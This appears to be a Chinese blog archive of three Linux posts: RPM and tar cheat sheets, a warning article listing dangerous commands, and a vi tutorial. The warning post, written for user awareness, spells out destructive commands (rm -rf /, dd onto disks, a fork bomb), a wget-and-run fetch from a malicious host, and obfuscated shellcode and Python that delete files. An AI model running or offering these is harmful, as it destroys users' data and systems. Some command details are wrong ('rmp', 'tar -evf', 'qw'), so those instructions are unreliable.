分类目录归档:Linux

Linux软件包管理

RPM包管理

1) 查选MySQL是否安装(以MySQL软件包为例)
   # rmp -q mysql

   — 可以使用rpm -e命令先删除原来安装的MySQL,然后安装新版的

2)安装MySQL服务器和客户端
   # rmp -ivh MySQL.rpm

3)查询软件包的描述信息
   # rmp -qi software_name

4)查询软件包中的文件列表
   # rmp -ql software_name

5)查询某文件所属的软件包
   # rpm -qf 文件或目录的全路径名

6)查询未安装的软件包信息
   # rpm -qp 软件包文件全路径名

7)升级RPM软件包
   # rpm -Uvh 软件包文件全路径名

8)验证某软件包
   # rpm -Vp rpm包文件名

TAR包管理

tar option file-list

    -t    查看包中的文件列表
    x     释放包
    -e   创建包
    r     增加文件到包文档的末尾
    -z   代表gz格式的压缩包
    -j    代表.bz或.bz2格式的压缩包
    -f   用于指定包文件名
    -v   表示在命令执行时显示详细的提示信息
    -C   目录路径名
    C     用于指定包压缩释放到目录路径
1)将/etc目录下的文件包打包成mylinux.tar
     # tar -evf mylinux.tar  /etc/

2)创建压缩的TAR包
     # tar -[ z|j ]cvf 压缩的tar包文件名   要备份的目录或文件名

3)释放tar包
    # tar -xvf tar包文件名
   如果是压缩包: # tar -[ z|j ]xvf  压缩的tar包文件名

千万不要运行的Linux命令!

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况

 sudo rm -rf /  删除根分区全部的文件  
 sudo rm -rf .    删除当前目录下的所有文件  
 sudo rm -rf *   同上  
 rm -rf * or rm -rf *.*   同上  
 rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。 

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

 sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。  
 sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。  
 sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据 

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

 :(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

 wget http://some_place/some_file  
 sh ./some_file  
 wget http://hax018r.org/malicious-script  
 sh ./malicious-script 

载脚本要确保来源正规,如果有能力,可以阅读其代码。

即使有源代码的程序,也不要随便编译执行:

 char esp[] __attribute__ ((section(".text"))) /* e.s.p  

 release */ 

 = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" 

 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" 

 "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" 06 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" 

 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" 

 "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" 

 "x6ex2fx73x68x00x2dx63x00" 10 "cp -p /bin/sh /tmp/.beyond; chmod 4755  

 /tmp/.beyond;"; 

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!

原文地址:http://php.lampbrother.net/html/42-1/1179.htm

vi编辑器基本使用方法

1、vi的的模式

vi编辑器可以分为三种状态,分别是【命令模式】(Command mode)、【插入模式】(Insert mode)和【底行模式】(Last line mode)。

1) 命令行模式:控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入【插入模式】下,或者到【底行模式】。

2) 插入模式:只有在Insert mode下,才可以做文字输入,按【ESC】键可回到【命令行模式】。

3) 底行模式:将文件保存或退出vi,也可设置编辑环境,如寻找字符串、列出行号等。

在系统提示符号输入【vi】及文件名称: 如:$ vi myfile,进入vi之后是处于【命令行模式】。

 

2、命令行模式(command mode)功能键

1)【i】键切换进入【插入模式】,从光标当前位置开始输入文件; 【a】键进入插入模式后,从目前光标所在位置的下一个位置开始输入文字; 【o】键进入插入模式后,是插入新的一行,从行首开始输入文字。

2)【ESC】键从插入模式切换为命令行模式

3)移动光标

Ctrl + b:屏幕往“后”移动一页。

Ctrl + f:屏幕往“前”移动一页。

Ctrl + u:屏幕往“后”移动半页。

Ctrl + d:屏幕往“前”移动半页。

按「0」(数字0)移到文章的开头。

按「G」移动到文章的最后。

按「$」移动到光标所在行的“行尾”。

按「^」移动到光标所在行的“行首”

按「w」光标跳到下个字的开头

按「e」光标跳到下个字的字尾

按「b」光标回到上个字的开头

按「#」光标移到该行的第#个位置,如:5l,56l。

4)删除文字

按「x」,每按一次删除光标所在位置的“后面”一个字符。

按「#x」,「6x」表示删除光标所在位置的“后面”6个字符。

按「X」,(大写X)每按一次删除光标所在位置的“前面”一个字符。

按「#X」,「20X」表示删除光标所在位置的“前面”20个字符。

按「dd」,删除光标所在行。

按「#dd」,从光标所在行开始删除#行

5)复制

按「yw」将光标所在之处到字尾的字符复制到缓冲区中。

按「#yw」复制#个字到缓冲区

按「yy」复制光标所在行到缓冲区。

按「#yy」,「6yy」表示拷贝从光标所在的该行“往下数”6行文字。

按「p」将缓冲区内的字符贴到光标所在位置。注意:所有与“y”有关的复制命令都必须与“p”配合才能完成复制与粘贴功能。

6)替换

按「r」替换光标所在处的字符。

按「R」替换光标所到之处的字符,直到按下「ESC」键为止。

7)回复上一次操作

按「u」如果误执行一个命令,可以马上按下「u」,回到上一个操作。按多次“u”可以执行多次回复。

8)更改

按「cw」更改光标所在处的字到字尾处

按「c#w」例如,「c3w」表示更改3个字

9)跳至指定的行

按「ctrl」+「g」列出光标所在行的行号。

按「#G」:例如,「15G」,表示移动光标至文章的第15行行首。

 

3、底行模式(last line mode)功能键

1) 列出行号

「set nu」:在文件中的每一行前面列出行号。

2) 跳到文件中的某一行

冒号【:】后输入数字,再按回车键则跳到该行

3) 查找字符

「/关键字」:先按「/」键,输入寻找的字符

「?关键字」:先按「?」键,输入寻找的字符

4) 保存文件

「w」:保存文件。 $w myfilename

5) 离开vi

「q」:退出,q!可强制不存盘退出vi。

「qw」:退出并保存文件。